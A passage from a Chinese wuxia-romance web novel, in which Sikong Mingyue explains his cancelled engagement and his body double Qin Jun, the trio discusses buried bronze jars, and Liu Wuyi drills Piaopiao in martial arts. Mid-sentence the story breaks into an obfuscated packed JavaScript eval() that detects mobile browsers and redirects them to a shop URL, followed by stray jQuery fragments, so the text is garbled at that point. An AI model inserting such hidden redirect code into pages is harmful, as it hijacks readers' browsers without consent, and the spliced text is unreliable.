笃笃。
外面来了人。
“不好他来了,我得先走了,帮我挡一下。”老人脚底抹油,翻出后边的窗子。
华山派的大弟子领着司空明月敲开门,他们两个神情沉重,司空明月还有点儿不耐烦的烦躁之色。
飘飘微微一愣,“你…”
“你没事吧?”他风尘仆仆,眸珠似夜色般浓黑,眼下发青,多夜未休息的模样。
“我没事。你怎么来了?”
“进去说。小柳,你在外面等会。”他吩咐那少年。
正牌的司空明月脚踏雪靴,衣衫洁白如云,再忙也不忘檀香薰衣。
飘飘闻到他身上恬淡的清香,心情轻松了不少。
“柳兄。”他对柳无逸疲惫地笑笑。
“他们说的是真的吗?”柳无逸为他倒了杯茶。
“怎么连你也怀疑我?”
“我问的可是退婚的事。”
司空明月瞟了瞟闻声而来的飘飘,愁道:“真的。”
“婚是你定的?”
“老夫人被他们请了出来,那些传闻,只一件是我做的。”
飘飘:“老夫人?”
司空明月:“我母亲。”
是他那个疯母亲。飘飘好奇地瞧着他:“她帮你订的婚,能同意你退婚?薛姑娘可不是要恨死你了?”
司空明月声音冰冷:“老夫人受人蒙蔽,在下说清楚利害关系,她已谅解。至于薛姑娘,只能抱歉了,在下最忌讳别人利用老夫人,擎制我做事,更别提婚姻大事。他们以为搞这些小动作,我会不知道吗。”
飘飘:“你能安然无恙地进来找我们,外面的事都解决了?”
司空明月抿了口凉茶,掀着眼皮看她,“你见到秦俊了?”
“谁是秦俊?”
“万香楼的新楼主。”
“他啊…他跟你什么关系?长这么像。”
司空明月揶揄:“喜欢他吗?”
这不就相当于问她喜不喜欢他。“你不要脸。”
“是他不要脸,我还是很要脸的。”司空明月遗憾轻叹:“秦俊是我师父从流民堆里找来的,因为跟我长得像所以他一直作为我的替身活着。”
“所以他恨你。”
司空明月:“难不成还喜欢我?”
“你师父为什么要给你安排替身?”
“怕我死了没人哄老夫人,另外在旦璜派办事,随时会有性命之忧。”
“他设计抓我们就是为了引你来,你既然来了他们没为难你?”
“秘籍替他们找回来了,真凶也捉了,退婚的事在下做了补偿和赔礼,那三派人掌门人是深明大义的英雄豪杰,气度不凡,事情便揭过。”
“秦俊呢?”
“当他的楼主。”
柳无逸:“他可是很想彻底代替你。”
司空明月:“当年给过他机会,那时候没成,以后就没机会了。这几月他费了大量心思,想必是有人给了他新念想。不妨让他当会儿这个楼主,好让其他几位掌事有事可做。”
柳无逸:“这几日的乱子,其他派没动静?”
司空明月笑说:“怨气不小,我派人在他们的地盘挖坑,他们颇有言辞。”
飘飘:“你找的怎么样了?有发现新的罐子吗?”
“只在死去的几位高手的宅子中发现挖掘过的痕迹。他们的死现在很明了。凶手的目标是那些青铜罐。”
飘飘:“罐子为什么会埋在那些人的家中?”
司空明月摇头:“在下不知。”
飘飘骇怪:“你们俩的家中呢?!”
柳无逸转头问司空:“你挖了?”
司空明月展扇邀风:“没寻到。”
飘飘:“你的推测错了?”
柳无逸:“是不是还有地方没搜过?”
司空明月:“柳兄。”
柳无逸:“家母的宅院仅有那一处……”
司空明月思量:“凶手从没说过要杀光榜上所有人,如果那些罐子只埋在个别人家中呢?”
柳无逸:“谁也不知道。”
司空明月:“二十多年前,江湖上曾经发生过一场大瘟疫。前盟主正是在那时候,名声大噪。榜上的高手几乎都是那时候跟随他救治百姓那批人。”
柳无逸:“我们两个不在内。”
司空明月:“榜上还有一位年轻人。”
飘飘:“谁?”
“夺碧山庄大公子,林夺。他在四年前的武林大会脱颖而出,成为盟主旗下的一名得力干将。夺碧山庄我还没去查过。”
飘飘:“为什么不查。”
柳无逸:“因为他跟盟主的关系不一般,他家的妹子差点成为盟主夫人。盟主的婚事告吹之后,司空兄也很多年未去过那了。”
司空明月笑得有点难看,忽然想到了什么,看着房内的唯一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125585|196052||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一张床问,“这两日你们两个就住在这间房里?”
他不知道两人被系天蚕丝的事,误会就是这样产生的。
飘飘很想知道他能误会到什么程度,有意道:“是啊~我们从早到晚都待在一起,寸步不离呢。”
司空明月凤眸雪亮亮的,含着暖意的视线黏在她脸上,不喜也不悲,“在下恭喜掌门了。贺礼改日备好送上。”
“……”破天荒的没有奚落她,飘飘无趣至极。
司空明月友好的拍拍她和柳无逸,轻松的起身,“委屈你们了。”
之后几日,飘飘不敢住的离柳无逸太近。学武辛苦,有个严厉的师父监督,半点也不能松懈,苦上加苦。
旎丽的心思暂时被繁重枯燥的练习压制。
“太差。”
“心法竟还没背熟!?”
“不对,不是这样吐气。”
“重来。”
“又走神?!”
“再背一遍。”
“体力如此不济,去挑水,扎马步。”
…
柳无逸操练人的风格颇有军队特色,清早提人,入夜放人,不准出错,错便惩罚。飘飘挫折感严重,觉得自己没法让他满意,心法口诀写的深奥,她听他讲解才会其意,堪堪入门。
“说好的怜香惜玉,郎情妾意呢!?”她不甘心地感叹。
柳无逸将刚洗净的水果拎来,正好听到她盘坐在道场内自言自语:“整日想着这些东西,难怪不得要领。”
“谁说的。”飘飘顶嘴,“就四天,我已经学会了运转内力,简直是天才好吗。”
“太慢。明日你多爬几趟山,身体单薄,内力无法绵长。你的年纪学武已是高龄,所以更该快马加鞭,勤加苦练。”
“活到老学到老,我这年纪怎么了。”
“懂得道理不少。”
“名师出高徒啊。”她取了个果子啃,“有消息了吗?”
“我今日要回老宅一趟。”
“去找青铜罐?”
“嗯。十日后回来,在此期间,你好好学武。”柳无逸摸出本册子交给她,“这是心法的下半篇,里面有注解,你拿着。”
旧旧的册子巴掌大,纸页柔韧,里面图文并茂,注解详细。只是上面的字迹,工整拘谨,一板一眼的,像孩子写的。
“这…”
“这是我幼时的笔记,初学心法时写的。正好给你用。”